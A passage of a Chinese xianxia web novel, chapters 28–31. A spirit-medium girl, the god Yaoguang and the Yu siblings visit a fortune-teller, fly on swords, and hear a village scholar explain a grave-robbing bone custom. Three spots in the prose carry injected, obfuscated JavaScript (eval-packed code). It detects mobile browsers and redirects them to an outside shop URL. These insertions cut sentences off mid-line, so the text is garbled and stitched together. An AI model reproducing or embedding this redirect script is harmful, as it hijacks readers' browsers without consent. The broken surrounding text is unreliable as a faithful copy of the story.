说着要去捏个净体咒,除一除衣襟上溅落的几滴酒水,却捏错了一根手指,捏成了显形咒,惊得他五个指头抽搐似地乱捏,总算好歹是趁着没人发现,及时把仙身隐了回去。 摇光看他这一通手忙脚乱,好整以暇地抱起胳膊,笑道:“我怎么了?” “小七!你尝尝这个!” 窗外少女的声音随着一个热乎乎的纸袋子一起飞了进来,摇光一个抬手,将那袋子稳稳接在手里,打开一看,是一个香喷喷的煎饼团子。 他手隔纸袋拿着,咬了一口,便抬起眸来,桃花眼里仿佛撒了一把细碎的星光,迎着少女期待的眼神,轻轻点了点头。 少女从窗户探进头来,一眼便见着了文昌隐着的仙身,便招呼道:“您也在啊,要不要也来尝尝。” 摇光封上纸袋,立马开始送客:“他府中还有事,这就要走了。” 文昌凳子还没坐热,当即弹起身来,大叹一声:“没意思,没意思得很!走了!” 走出两步,又回头丢下一句:“替我寻回文昌笔,就当作是你欠我的事吧。” 袍袖一挥,回天上去了。 璃音看他拂袖而去的样子,歪了歪头:“他怎么好像不太高兴。” 怎么在她听过的那些传闻里,都说摇光星君凶神恶煞,而他的好友文昌帝君是一等一的和善可亲。 如今她看着,却是凶神脸不凶,善神面不善,这世界可真是颠颠倒倒,叫她参悟不透。 但这些参不透也不打紧,目前手头还有更重要的事情等着她去查证,她将手中采买的一堆零食都放进乾坤袋里收好,向摇光道:“小七,我刚刚和虞姐姐商量好了,要一起去龙溪村看看,咱们这就走吧。” 29. 第28章 云间愿 午后日头渐晒,街市上人群纷攘,小摊小贩都已出动,有的挑了担子,就歇在路边,摇着扇子叫卖,也有算命看相的,就支一张小桌,边上竖一根长木杆子,上面挑一张大字招牌,逢人就喊:“富贵在手,吉凶先知,问卜测字,两文一次!” 璃音饶有兴趣地往算命先生桌前凑了凑,从兜里掏出两文钱来:“老先生,能看相么?” “怎么不看,面相骨相手相,皆可看得!”那算命先生扫一眼璃音一行四人,“却是哪一位有缘的客人要看?” 虞宛言抱剑立在阿姐身旁,冷冷嗤了一声:“要看你自己看,我和阿姐可不信这个。” 拜在道教真人门下,却不信卦卜看相,这云上真人收的徒弟也真是绝了,但他素来爱和璃音唱反调,谁知他说这句话是真的出于不信,还只是为了和她抬杠,璃音懒得理他,眼神也没给虞宛言一下,就将那两文钱拍在桌上:“看一次两文钱呢,你值得我花这一笔巨款吗?” 说着又去乾坤袋里摸索一阵,摸出一条炸鱼干来,摆去那两文钱旁边,指着那被炸得金黄酥脆的鱼头,向那算命先生道:“先生,我是要给它看。” 算命先生对着那鱼,嘴角抽动了几下,又看一眼边上的两个铜板,忍了,干咳一声,道:“姑娘要为它看什么,命格,官运,财富,还是姻缘?” 语气严肃,神色端庄。 虞宛初掩口轻笑。 摇光但笑不语。 虞宛言却实在忍不了了,她这不就是在明里暗里挤兑自己,说自己的地位还比不上这条炸鱼干!当即就阴沉着脸,大叫一声:“神经病!” “夏姑娘,你也取笑阿言够了。”虞宛初从身上取出两文钱,连着璃音那两个铜板一起推去了算命先生跟前,“先生,我这两个弟弟妹妹顽皮打闹,叫你见笑了,这钱你收着,适才就权当看了个笑话吧。” “无妨,无妨。”那算命先生呵呵一笑,心想还有这种好事?堆着笑脸在桌上拾起四个铜板,忽地一抬头,看清虞宛初的相貌,面色一变,哐当一声,四个铜板又全掉在桌上。 老先生年岁渐高,眼睛难免开始昏花,东西放得稍稍远了,就瞧着模模糊糊的,像有好几重虚影叠在一块。初时除了璃音,其余三人都站得离他不算太近,那先生看他们便只看了个半虚半实,现下虞宛初一凑近,登时便把她那薄弯的眉毛,杏仁般的眼睛,以及脸上那几分病容都瞧了个一清二楚。 他盯着虞宛初那张脸,半晌,忽地发出一声叹息,把那四个铜板又都推了回去,摆手道:“这个钱我不好收,你们走吧!” 会让算命先生拒绝收钱的,一般而言,只有一种情况:那就是这位客人的命途实在已经不幸到了极点,未来瞧不出一点光亮,全然一片黑暗,黑暗到连算命先生都不忍心再对她收取卦金。 璃音一怔,不禁去虞家姐姐略显苍白的面容上瞧了瞧,她虽对看相之术未有钻研,但回想在虞家村初见时,她就一直有伤在身,难道是染了什么棘手难愈的病症? 虞宛初轻笑一声,什么也没说,只是伸手取回桌上铜板。 虞宛言却立刻爆炸了,只是炸的不是炮仗火药,却像是深冬里的寒冰突然爆裂,他一把抢过那四枚铜板,掼回桌上,声音冷得好像一道冰锥:“瞎子就少出来看相闹笑话,我阿姐长命百岁,就是阎王亲自来了,也自有我去砍了他的手,叫他不敢再来!” 说罢一拉阿姐的袖子,转身便走。 他走得极快,浑身便如覆了层冷霜似的,在这热得反常的四月天里,愣是带出一股瑟瑟寒风,虞宛初只好在一旁不停柔声劝着,好像方才被算命先生判了死刑的不是她,而是身边这个行走如风的弟弟一般。 璃音和摇光默默走在两人后面,不远不近地跟着。 走了一会儿,摇光忽道:“老师信么?所谓吉凶祸福。” 这话问到她这个专研医卜星象的小巫女头上,本来有些幽默,就好像去问一个道士是否信那画中的三清,但璃音遭际奇特,正如一些酸溜溜的仙君们所说的那样,乃是个先成仙、再修习的半吊子灵巫,再加上近来这番死而后生,命运轮回,于此一问,她倒真有几分感悟可以谈谈。 “吉凶祸福固然会有,只是这些东西从来不是定数。” 她一时觉得好玩,心想不趁着这个话题端一端老师的架子,更待何时?便伸出一只手,想去摇光肩膀上语重心长地拍个两拍,以示教诲,不料一抬手,才发觉这位神君身姿挺拔,竟比自己高出这么许多!叫她不由想起那陈天财伸长了胳膊,去够杨肃肩膀时的那副滑稽样子,于是又默默将爪子收了回来,干咳一声,继续说道:“你须知道,有时吉便是凶,有时祸中也会藏福。” 摇光立刻恭声:“学生受教了。” 她被困玉横三百年,本是大凶,却因此而得以飞升。 成仙原是天大的福分,却反而害得她走火入魔。 锦云仙子赶去月牢给她的那穿心三剑,是致命之祸,但若非如此,此刻她又如何会在这里,与摇光神君并肩而行在这人间熙攘的街市之中,有了这重来一次、改写命运的机会? 只听摇光又道:“老师可有帮学生卜算过?” 璃音经他这么一问,方始恍然:对呀,她怎么给忘了,摇光之所以陪她恭行在此,不正是因为西王母为他卜算出了一个生死大劫么?人家这是在为自己求解命途呢,哪里是要听她讲什么吉凶感言。 想到他前世那样悲壮的结局,璃音不自觉停下脚步。 摇光往前走了两步,发现她不声不响地驻足在原地,便也停下步子,回身望她,眼中透着问询。 璃音便端正了神色,右手肃然抬起,将那五个手指头轮着掐了一掐,再点着头“唔”了一阵,比那方才算命的老先生还要像模像样,然后她定定抬眸,直看向摇光眼底,向他轻轻浅浅地笑开:“神君福泽深厚,无论前方是何劫难,都定能逢凶化吉,吉祥如意。” 她的声音轻而坚定,听来便如碎玉敲冰,不像是在卜卦预言,却像是在对谁做着一个极重的承诺。 璃音早已想好了,这次下山,即便揪不出那个蛰伏在暗处的鬼王,但她这一世占尽先机,只需将劫难提前与昆仑众仙点破,何愁收拾不了那些恶灵,绝无可能再像前世那样被打个措手不及。 她一定能给昆仑,也给他,带去一个不一样的未来的。 四月的暖风吹动摇光发间那根浅蓝绸带,将它恣意弯折拂动着,不时拂过佩戴人的颈侧,像是故意要去上面搔出一点痒。 摇光开口,声线清润,润过四月里的风:“承老师吉言。” 见前面虞家姐弟走得远了,二人便又迈步跟上。 于是两人又并着肩,向前走了起来。 四人脚程都快,行了一阵,人声稀落下去,已是远离了喧闹的街市,四下里都不见了人烟,望仙镇上那些潺潺交错的河流奔流数里至此,也渐渐少了分叉,都蜿蜒着劈入前面一处幽深的山坳之中,哗哗急坠着,似是都在那看不见的另一边堕入了一个巨大的深潭。 虞宛初拉住一路步若流星的弟弟,回头笑道:“夏姑娘,前方山路难行,我们便从此处开始御剑吧。” 璃音一呆:“御剑?” 就见虞家姐弟各自掐出一个漂亮的剑诀,唰唰两声,两柄长剑凌空出鞘,两人足尖在地上轻轻一点,飞身一跃,便稳稳立去了剑上。 这上剑的身法本就俊逸潇洒,再加上他姐弟二人这一番动作整整齐齐,就更为之添了几分飒然气势,璃音瞧得两眼晶亮,腕间那个能缩地万里的“宙”字铃铛瞬间不香了,忙小跑几步上前道:“虞姐姐,你能带我一起飞吗?” “我自然也想与夏姑娘同行。”虞宛初有些抱歉地一笑,“只是我有伤在身,要再带一个人,恐有些吃力。” “你少来缠着我阿姐,我阿姐可受不得累!”自从那算命先生退了卦金后,虞宛言就一直一声不吭地阴沉着脸,这时见璃音不会御剑,眉间的沉郁终于被一点戏谑冲淡,化作一声阴嗖嗖的讽笑。 璃音探出脖子朝他哼了一声,心道:“不让载就不让载,我有的是人脉!” 立刻扭头,指着虞宛言脚下长剑道:“小七,你会这个吗?” 摇光看她这双眼发亮的样子,自喉间泄出一声轻笑,回答:“这我倒是没有试过。” 说着左手微抬,凌空一握,破军便已被他握在了手中,他垂目望向手中长剑,似乎正在与破军交流着什么,半晌,抬起眼来,眸中被映入剑身上闪烁的那抹亮:“它说可以。” 璃音那双眼也更亮了,手指几乎要指到自己的鼻尖上:“我也可以?” 摇光右手一翻,捏出一个剑诀,点头:“可以。” 破军立刻脱手飞出,一抖剑身,抖落漫天冷辉,便似白日流星,夺目一瞬,划空而过,然后便乖巧地横卧去了璃音身前。 这莫名其妙的一抖除了显摆完全多余,璃音原本不解其意,直到看到虞宛初惊叹到有些发直的眼神,她才了然:哦,确实就是十分纯粹的显摆。 璃音轻轻一跃,站上靠近剑柄的一侧:“我要站前面!” 他个子高,她要是站在他身后,可就瞧不见前方许多风景了。 虞宛言闻言,轻哼一声,收回在破军身上黏了半天的视线,催促:“磨磨蹭蹭的,要不是等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞宛言御剑飞在最前头,见了这朵巨大的炸鱼干云,脚下一晃,差点一个不稳从剑上跌了下去,立时就大喊一句“神经病”,回头向璃音横去一眼。 虞宛初也忍不住笑,但也不忘提醒弟弟:“阿言,小心些飞。” 璃音听到身后也传来一声轻笑,就回过头,指着飞得歪歪扭扭的虞宛言,咯咯笑着,大声道:“小七!你看他飞得傻不傻!” 她这时的眉眼都亮晶晶的,倒颇有些当年不谙世事时小天真的模样,说罢就又把手在嘴边围成一个小喇叭,对着漫天流云,大声地许起愿来。 她用尽全力大喊着:“愿小七逢凶化吉——!” 回过头,又喊:“愿虞姐姐长命百岁千岁万万岁——!” 虞宛初被她喊得心中一荡,也不禁抛掉了柔声细语,大声笑道:“承夏姑娘吉言!” 璃音满足地垂下手,却听身后那人清清淡淡地道:“老师自己没有什么愿望么?” 璃音一怔。 那些就是她的愿望啊。 她还想要商月可以仙途坦荡,想要商止师兄的腿能快些好起来,让她在离开之前,能喝上他和巫盻师姐的喜酒。 如果再贪心一点…… 她轻轻抬手,看一朵白云自指尖流过。 她希望可以看这样的景色久一点,再久一点。 她可是拼绿豆都能玩上三百年的人,这样美好的景致,这般有趣的天上人间,只看这么一会儿,怎么可能看得够? 但这样的愿望,即便有,她也是不敢大声喊出来的。 上天给了她一次赎罪的机会,这已经是天大的恩赐了,她不敢太贪心。 按前世她走火入魔的时间推算,如今她满打满算也就还有一年的时间。 “我当然有愿望了。”她将手按回破军的剑柄,没有回头,发丝随着她小小的声音在风中轻扬,“我想要你们记得我。” 她是个俗人,她做这些从来都不全是为了大义,而是藏着自己的一点点私心。 她想要好多好多人记得她,不是作为妖女,而是作为拯救昆仑的大英雄,就像前世的摇光那样,或是像射日的那位后羿神君一样,她也想被塑成泥像,被贴在床头,演变成各种越传越走样、但也越神武的传说。 想到此处她才意识到,原来自己真的,好讨厌那种被人讨厌的感觉啊……虽然自己总是表现得很无所谓,可是如果能够被人喜欢,谁又会想要被人讨厌呢? “学生会记得的。”身后有人轻声应着。 璃音无声抚过破军那处纹路凹凸的剑柄,只听前面虞宛言忽道:“龙溪村到了。” 30. 第29章 秀才大卖连环画 龙溪村隐在群山环抱之中,四周山高谷深,只一条山溪流通着外界。 村中山多地少,极难耕种,故而男子到了十三四岁上,就大多乘一叶小舟,沿溪而出,外出行商,谋求生路。家里积了几分祖产的,就闭门在家,念文章,做举业,夜夜做的都是一朝中举、状元归乡的官梦。 现在天色还不算晚,街市上却已是六门三关,稀稀拉拉的根本见不到几个人。 璃音几人走了一阵,虞宛言四下瞧着,蹙眉:“前日来的时候却还不是这样。” 这时一个五十岁左右的男子从他们身边行过,那人身穿一件洗得发白的旧绸布衫,头戴一顶天青色旧毡帽,眼角下垂,花白胡子,身子瘪得像一根竹竿,他肩背书篓,行色匆匆,那两条细瘦的小腿就好像两根筷子轮番戳着地面,埋头赶路时在地上踩出哒哒的声响。 虞宛言持剑的手一伸,便将那人拦住,问道:“先生,这街上怎么不见人,村民都去哪里了?” 那男子估摸是个信奉“君子远庖厨”的读书人,平日里连菜刀都不曾握过,剑不出鞘就把他吓了一个哆嗦,他双手扣紧背篓上的带子,警惕地望着眼前四人:“诸位是外乡来的吧?” “我们几个初来宝地,想到处逛逛。”虞宛初忙按下弟弟手中那柄拦人的长剑,笑得柔婉,“先生可有什么推荐的去处。” “今天四月廿九,是那位射日大仙的生日,几位不知道么?” 后羿神君的生日?璃音用手肘戳戳身边的摇光,示意他附耳过来,低声说起了悄悄话:“我怎么记得,后羿神君好像是没有生辰的?” 摇光微侧过身子听着,点头:“是没有。” 果然民间的许多传说,就如揽华公主床头贴着的那张摇光画像,传到最后,很可能就只有一个名字对得上号了。 这时街边跑过一群穿着花衣裳的小孩,一个个白白胖胖,都是七八岁模样,长得全和年画娃娃似的,其中一个手里拽一把小木弓,嘴里“噗噗噗”喊着,跑跑跳跳,向四下里发射空气箭玩,另一个就假装被射中了箭,捂着心口“啊啊啊”地夸张大叫,旁边剩下的孩子就拍手笑喊:“大仙厉害!又射中一个太阳!那边还有一条恶龙!” 原来还有一个孩子是头上粘了一对假龙角的,璃音望见,不禁心头一颤,抬手摸了摸自己的额头。 只见那下垂眼的老先生把嘴角也给垂下了,大声斥道:“大街上吵吵闹闹,像什么样子!今天回去都把《礼训》第三篇抄上十遍!” 那帮孩子闻言往这边望了一望,立马收了玩闹,一面冲这里作揖行礼,一面口里齐声喊道:“廉先生。” 廉先生这才舒展了眉心,挥一挥手:“去吧,好生走路!” 孩子们行着礼,噤着声,默默走了。 原来这位廉先生文运亨通,在二十二岁上就考取了县里的秀才,本以为自此就要一飞冲天,却不想乡试落榜,自此三年一次的乡试,是屡败屡战,屡战屡败,一直考到五十多岁,胡子头发都考白了,依然是个老秀才。他整日闭门读书,不事生产,花光了老爹留下的积蓄,家里穷得揭不开锅,老婆也跟人跑了,他看看这样下去不是个办法,便去村里学堂领了一份差,当起了教书先生,教导学里的孩子开蒙。 廉秀才见学生听话,满意地点了点头,这才继续向虞宛初道:“今天村里办庙会,演大仙射日伏龙的故事,这会儿人都该赶去看社火了。” 话音刚落,就听见那“噗噗噗”、“啊啊啊”的叫喊声,又在拐了角的街市那头响成了一片。 璃音有点想笑。 廉秀才脸色一青。 虞宛言道:“这个庙会办在哪里?” 廉秀才板着脸,反手去背上装满书册字画的篓子里面一抽,抽出一卷挂画来,掂在手里,说道:“一两银子,买了就带你们去,否则免谈。” 怎么突然就强买强卖上了?璃音听着街角那清晰的“噗噗啊啊”之声,歪头不解:“我们跟着那帮小孩走不就行了?” 廉秀才的脸色好像更青了。 璃音又凑近那画看了看,用手往那画轴上一指:“而且你这上面不是刻了‘神兵竞护,诸邪勿近,三仙庙敬祀’?” 廉秀才的脸色青了又青。 虞宛初忙笑着掏出二两银子,先将一两银子递出,换了先生手里的画:“这画我买了,烦请先生带路吧。” 说着又塞去一两:“我看这边民俗有趣,也劳请先生在路上多给我们讲讲。” 廉秀才接过银子,总算面色稍缓:“我也不白拿你的。”又去背篓里抽出一卷画。 虞宛初也不推辞,把画收下,温温柔柔地笑着道了谢。 璃音无意间往那装得满满当当的书篓里瞥去一眼,不禁大为惊奇,只见最上面一本小书的封面上赫然写着八个大字:藩青莲药鸩武太郎。 这几个字连在一起,怎么瞧着既熟又不熟的?璃音忍不住伸手将那本书拿了出来,好奇道:“这是什么书?也是卖的么?” 拿出这一本,又露出了下面一本《张婆计啜东门庆》。 廉秀才听她这么一问,忽然挺开心似的,脸也不青了,眯起下垂眼,摸一把胡子,呵呵笑道:“这些小书都是在下不才,随便涂画着玩的话本子,谁知卖得太好,尤其姑娘手上的这个‘藩青莲’系列,这就是最后一套了,姑娘要买,就二十两银子给了。” 璃音随手翻看了几页,发现自己竟从未看过这样排版的奇书,每一页都被划作方方正正、一般大小的四个大格子,每个格子里都画着绘声绘色的小人儿,有的小人儿嘴边还吐着一串文字泡泡,仔细一看,原来是画中人口里说的话,这小书竟是一本分格连环画。 再看里面的角色,什么藩青莲、武太郎、东门庆,原来画的都是篡改时下流行小说里的人物后,自己又再发挥编排了的边角故事。 璃音心痒结局,直接翻去了最后一页,看到藩青莲被挖心取肝,割下头颅,不禁大失所望:“没什么新意,这不就还是原著的结局!我不要这一本。” 把书放回书篓,又随手摸出另一本来,不料光看封面就吃了一惊,原来这本叫做《楚燕偷春》,书名旁边还画着一男二女,男的小厮打扮,正坐在女子闺房里,对镜为一个美貌妇人描眉,旁边另有一个丫鬟模样的女子靠在门边,神情鬼祟,显是在替两人把风张望。 璃音捧着这书,愕然向摇光道:“这个画的不是文……陆郎君和楚娘子?” 摇光拿过书来翻了两页,也觉惊奇,正要翻去最后,就被廉秀才一把抢了过去:“这本新鲜画完的,被你们这样看了出去一说,我后面还怎么卖?要看结局,须花五两把这本册子买了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565878|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >璃音扯扯摇光的袖子,低声道:“小七,你有钱吗?” 摇光十分坦然地摇头:“没有。” 本来嘛,两个神仙下山,谁会想着要带钱?昨夜揽华公主倒是让那黄脸鹦鹉叼来了一些银两,但大多都作为抚恤给了那位荀娘子,剩下的几个钱让璃音买了一大堆零食,又在算命先生那折了最后两个铜板。 于是,他们两个现在竟是穷得身上连一个子儿都掏不出来。 “这本册子,我给夏姑娘买了。”虞宛初见他二人窘迫,想都没想,就从腰袋中取出五两银子。 璃音看她一路上掏起钱来眼都不眨一下,不由钦佩她的豪爽:“虞姐姐,你很有钱吗?” “是你太穷了,穷鬼。”虞宛言瞟一眼她手中书册,嗤地一笑,“穷鬼还看什么话本。” “阿言,你也想抄《礼训》了?”虞宛初责怪地看一眼弟弟,虞宛言便如那群孩子见了先生一般,虽心中不服,但还是乖乖住了嘴。 虞宛初付了钱,买下那本《楚燕春情》递给璃音,笑道:“是姑母担忧行走江湖不易,临行前偷偷给我们塞了好多银两,夏姑娘救过姑母和表妹的性命,要用钱时尽管开口,这些钱全给你用也是应该的。” 虽然那只是对前世的赎罪,根本称不上什么救命之恩,但璃音听这样一个美女温言软语地感念自己,还是不免把那身后并不存在的尾巴翘了一翘,她立马放开摇光的袖子,转而去挽住了虞宛初的胳膊:“那我这一路,就全靠虞姐姐接济了。” 虞宛言又在旁边发出一声阴恻恻的冷笑。 书册到手,璃音心痒要看结局,便先翻去了最后几页,就见陆郎遭人砍杀、楚燕入狱横死,接着阴门骨被盗,除了名字有所改动,都画得与现实分厘不差。 看到这里,璃音抬起头来,冷箭般的眼神向廉秀才射去:“您的消息也真是通达,楚雁儿昨日才死,今天就已经画好在卖了?” 现在想来,这事确有一点蹊跷:昨日楚雁儿身死狱中,这死讯在望仙镇都还未传开,死状更是鲜有人知,虞家姐弟却已在龙溪村听到了风声,因而才赶去的望仙镇,这位廉先生更是连画册都赶制出来了,他们都是从哪儿得到的消息? 不料那廉秀才闻言也是一惊:“楚雁儿死了?” “死在狱中,少了一根骨头。”璃音把那小书的最后一页摊去廉秀才眼前,“你自己画的,你不知道?” 廉秀才把书合上推回,指着封皮上的“楚燕偷春”四个字辩道:“小姑娘,你瞧清楚些,在下画的这个是楚燕,不是什么楚雁儿,或许借鉴了一些隔壁镇上那位风流楚娘子的传闻,但这结局却是不才自己编来画的,和那个楚雁儿没什么相干。” 虞宛言在一旁瞧见了画中情形,抱剑冷笑道:“你说画上的这个结局是你自己编的?” “不错。”廉秀才听了楚雁儿的死状倒是没那么吃惊,回起话来也毫不心虚,一双下垂眼里甚至迸出几点精光来,“而且这本册子在前日就已画好了结局,不如说是楚雁儿照着在下画的楚燕死了!” 他说这话时隐隐竟透着几分兴奋,连嗓门都提高了不少。 这兴奋的大嗓门忽然就撬动了璃音记忆中的某片砖瓦,她脑中白光一闪,抬手指向廉秀才说道:“我记得你的声音!你是那天官府抓人的时候,在巷尾为杨肃喝彩的那个人!” 31. 第30章 阴门之骨 那日杨肃在巷子里大砍奸夫,官差来捉人时,璃音曾听见有个男声远远地在巷尾为他喝彩:“杀得好!杨肃,你陈大哥没捞得个贤德老婆,却有你恁个好兄弟!” 此时廉秀才一激动,这相似的声线和语气便把璃音的记忆勾动,竟叫她认了出来。 “那日我确实在场,也去衙门看了升堂,这最后一页便是我那日归来后所绘,但那个楚雁儿如何在狱中丧命,我可没看到,也不知道!书里这楚燕的结局,却是不才自己琢磨着画的。” 廉秀才并不抵赖自己亲眼目睹了杨肃杀人,却否认知晓楚雁儿之死。 虞宛言冷哼一声,显是不信:“那你如何竟将楚雁儿的死状画得分毫不差?” 廉秀才看他不过十六七岁的模样,眉眼间虽然阴冷,却不浑浊,像一捧寒冬里自山顶吹来的透明风雪,就突然放声大笑,道:“小孩儿,那是你太不知事!” 虞宛言听自己被他喊作小孩儿,脸色一沉,便要发作。 虞宛初忙用眼神将他制住,转过头向廉秀才微微一笑,语调柔和地问道:“先生别卖关子了,您究竟是如何将那楚雁儿的结局猜中的?还请为我们解惑。” 廉秀才嘿地一笑,干瘪的手摸上下巴那撮花白胡子:“楚雁儿是为那般丑事下的狱,又无人去给她走关节,这之后在牢里的事,只需略通人情,哪还有什么猜不中的,左右都是活不长。” 璃音心想这也还算说得通,但仍解释不了阴骨丢失之事,便问:“那骨头呢,也是凭人情世故能够猜中的?” 廉秀才看她一眼,缓缓地道:“这个何须我费心来猜,楚娘子这桩事传来龙溪村,只消传过两张嘴,那块骨头决计已是没了。” 虞宛初不明其意,问道:“此话却是怎讲?” “姑娘只需把这两卷画拿出来,一看便知。”廉秀才伸手,往虞宛初方才从他那里买走的两幅画上轻轻一点。 虞宛初闻言,忙展开手中画卷。 两幅挂画,底下均题着“贺君归来”的字样,画的都是一男子正行步踏下一只小船。 只是一幅画的是男子高中归乡,头戴乌纱帽,身穿紫蟒袍,全村老幼皆来庆贺;另一幅画的是男子行商归来,头盖簇新瓦楞帽,身穿细绸绣线缎袄,妻子携儿带女翘首相迎。 画里归乡的男子,一个做了大官,一个赚了大钱,画中所有人都开怀地笑着,一派喜气洋洋,却偏有一处诡异笔墨,在这升官发财、喜庆美满的画卷里分外格格不入。 那诡异便出在男子要下的那只小船之上,那船上不知为何,都安了个粗细长短都不甚相称的大桅杆,有这么一根桅杆便也罢了,那杆子上却不挂帆,而是嵌着一块阴森森的白骨。 璃音四人凝目瞧着画上的骨头,均想到了楚雁儿不翼而飞的那根阴门骨,四人面面相觑,都想不明白,为何要将这样一根人骨高悬在桅上。 “阴门之骨,可御神龙。”廉秀才眯起一双下垂眼,摸着胡子,神情老道,“下了葬的女人被掘坟盗走阴门骨,再卖与舟子船夫,在这村里可算不得什么稀奇事。” 据说当年有邪龙在伏龙山上被后羿诛灭,那龙血积流而下,汇成穿山入谷的一线龙溪,而要从龙溪村去往外界,就只能撑一叶小舟,顺溪而出,于是每每有船只遇难,村民便说是蛟龙的邪魂又出来作祟了。 虞家姐弟在龙溪村已先盘桓过数日,对这些传说自然有所耳闻,于是虞宛初最先反应过来:“先生,你的意思是,此处风俗,要拿女子的阴门骨嵌在桅顶,来魇镇蛟龙,以免船只遇难么?” 廉秀才把着胡子点头:“不错,那棺材里的女尸躺下去不到一年,总有半数就要被盗了那里骨头的。” 所以隔壁镇上一个风流娘子不知廉耻地给丈夫戴了绿帽,这事传到龙溪村,那淫/妇在村民口中的下场自然就是死后被人盗走阴骨了,也因此望仙镇的楚雁儿还没死,这里的村民就已先自传开了她的结局。 璃音想通了此节,却不免觉得荒诞,她在望仙镇听那陈天财胡天侃地时,说到为何不带楚雁儿一起出海行商,他说的是女人身上有晦气,上不得船,上了船就要翻,这会儿这个廉先生又说要把女人的阴骨钉去船桅上,不钉这骨头,船又要翻,却又不嫌晦气了。 只听那廉秀才又道:“所以我画出这个结局并不稀奇,楚雁儿会那样死也算不得稀奇,倒是最近村子里不知触了什么邪气,好多棺材里一整副骨架都不见了的,那个才真叫稀奇,一会儿到了庙里可得好好拜拜。” 说着默默朝天拜了一拜,又整一整背上书篓,催促道:“几位还要看庙会的话,就赶紧跟我来吧,再说下去耽误我摆摊了。” 便就踏开他两条筷子一样的腿,快步往前面赶去了。 四人隔了十来步,远远跟在那双筷子腿后面走着,行了一阵,忽然迎面走来两个头戴帷帽的年轻女子。一个身穿桃红缎裙,腰身束得紧紧的,走起路来摇曳生姿,委实曼妙,廉秀才都快往她身上瞟成斜眼了,另一个穿一件蝶黄纱裙,行路姿势斯文秀气,似乎有点儿拘谨,两人挽手走着,情状甚是亲昵。 与那二人擦肩欲过之时,恰有一阵微风轻送,掀动了那红裙少女帷帘的一角,一张娇笑俏丽的小脸就半遮半掩地映入了璃音的眼底,璃音心中一动,总觉得这张脸在哪里见过,有些面善,便不由得回头多看了两眼。 但要再加细想,却又觉得那张脸越发陌生起来了,她愈想愈奇,便拉一拉摇光的袖子,压低声音问道:“小七,你刚刚看到她的脸了么?” 摇光却不知在发什么呆,被她又扯了扯袖子,才回过神来,有些茫然地应声:“什么脸?” “就是刚刚走过去那两个人啊。”璃音回头指指身后。 摇光跟着她回头一望,望见两个女子的背影,又转头回来,认真答道:“学生看不到她们的脸。” 这不是废话,你现在才看当然看不到了! 璃音扶额,扭头一看,就见身边这位神君正微低着头,眸光凝滞,沉思不语,一脸心不在焉的样子。 难道是有什么心事?好像自从方才被那小老头抢了书,他就没怎么开口说过话了。 “喂。”璃音拿手去摇光面前晃了一晃,“在想什么呢?” “学生在想,要怎么挣钱。”这次他答得倒快。 但璃音万没想到会听到这样一个回答,他一个神君,要挣什么钱?许多人苦苦求仙,还不就是为了摆脱这些钱财俗事之扰,不禁呆了一呆,问道:“为什么要挣钱?” “我们如今在这里身无分文。”他说这话时虽有苦恼,却丝毫不见捉襟见肘的窘迫,完全一副就事论事的腔调。 “也是,总吃虞姐姐的软饭也不好。”璃音点着头,也开始出谋划策,“要不然你去找个供了你金像的庙,随便去上面撬点金子下来用好了。” 虞宛言耳朵尖,听见这话,当即横她一眼,说道:“你也好意思当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“当然好了。”虞宛言果然立刻终止了和璃音的拌嘴,小心仔细地为姐姐拣起簪子来。 挑来选去,只觉那些金的银的全都不称意,最后拿起了一支简单的雕花木簪,才终于满意,往姐姐头上比划:“阿姐,你看这个好么?” “阿言挑的当然好了。” 虞宛初笑得眉眼温柔,把弟弟新挑的簪子戴上,看璃音与摇光走过来,就笑道:“慕公子,不给夏姑娘买点什么?” “这个不用。”璃音一看这摊卖的都是些金头银面,立马摇起手来。 摇光更是看都没看上一眼,就摇头说道:“我没钱。” 他这话说得过于坦然,坦然到那摊主都忍不住抬头瞪了他们一眼,看那两个穷鬼一个摆手,一个摇头,那眼神里赶客的意思再明显不过:“从未见过穷得如此理直气壮之人,没钱来逛什么摊子,堵在这里白给我添一股子穷酸气。” 虞宛初也是一愣,随即就想起自己听璃音和阿言闹腾了一路,不就是为着筹钱斗起来的?怎么这会儿竟把这茬给忘了!她暗笑自己粗心,拉了璃音的手笑道:“夏姑娘喜欢什么,我给你买就是了。” 璃音手都快摇出残影了:“虞姐姐,真的不用。” 她向来不是个会打扮的人,或许人的天赋总要平衡,她于念书修炼一道上比别人强些,于妆面描眉一类的事上手便就拙些。但她前世也只是因为手拙,怎么弄也搭不好,所以懒打扮,其实心里总还是爱美的,因此商月送她那件青玉留仙裙,她也穿得很开心。 但自从经历了走火入魔、杀人如狂那一遭,她再见了这些精美的头面,不知为何,心中就常常生出一股说不清、道不明的抵触。 虞宛初见璃音神色为难,只道她是不好意思多让自己破费,正想再劝,却被摇光打断道:“老师,那边社火好像要开演了。” 32. 第31章 三仙庙会 三仙庙前搭起一个高台,台下吹吹打打,台上咿咿呀呀,一人身着戏服,捏着腔调,边唱边翻筋斗、搭弓箭,另有五人矮身相连,手中各举木棍,棍子上面都连着同一条彩绘的纸布长龙,那龙随五人手中竹棍摇头摆尾、盘旋窜跃,甚是灵活,一人一龙在台上不停追逐厮打,显然是在演那一出羿诛邪龙的故事。 台前摆满长凳,上面早就热热闹闹,坐满了看社火表演的人。 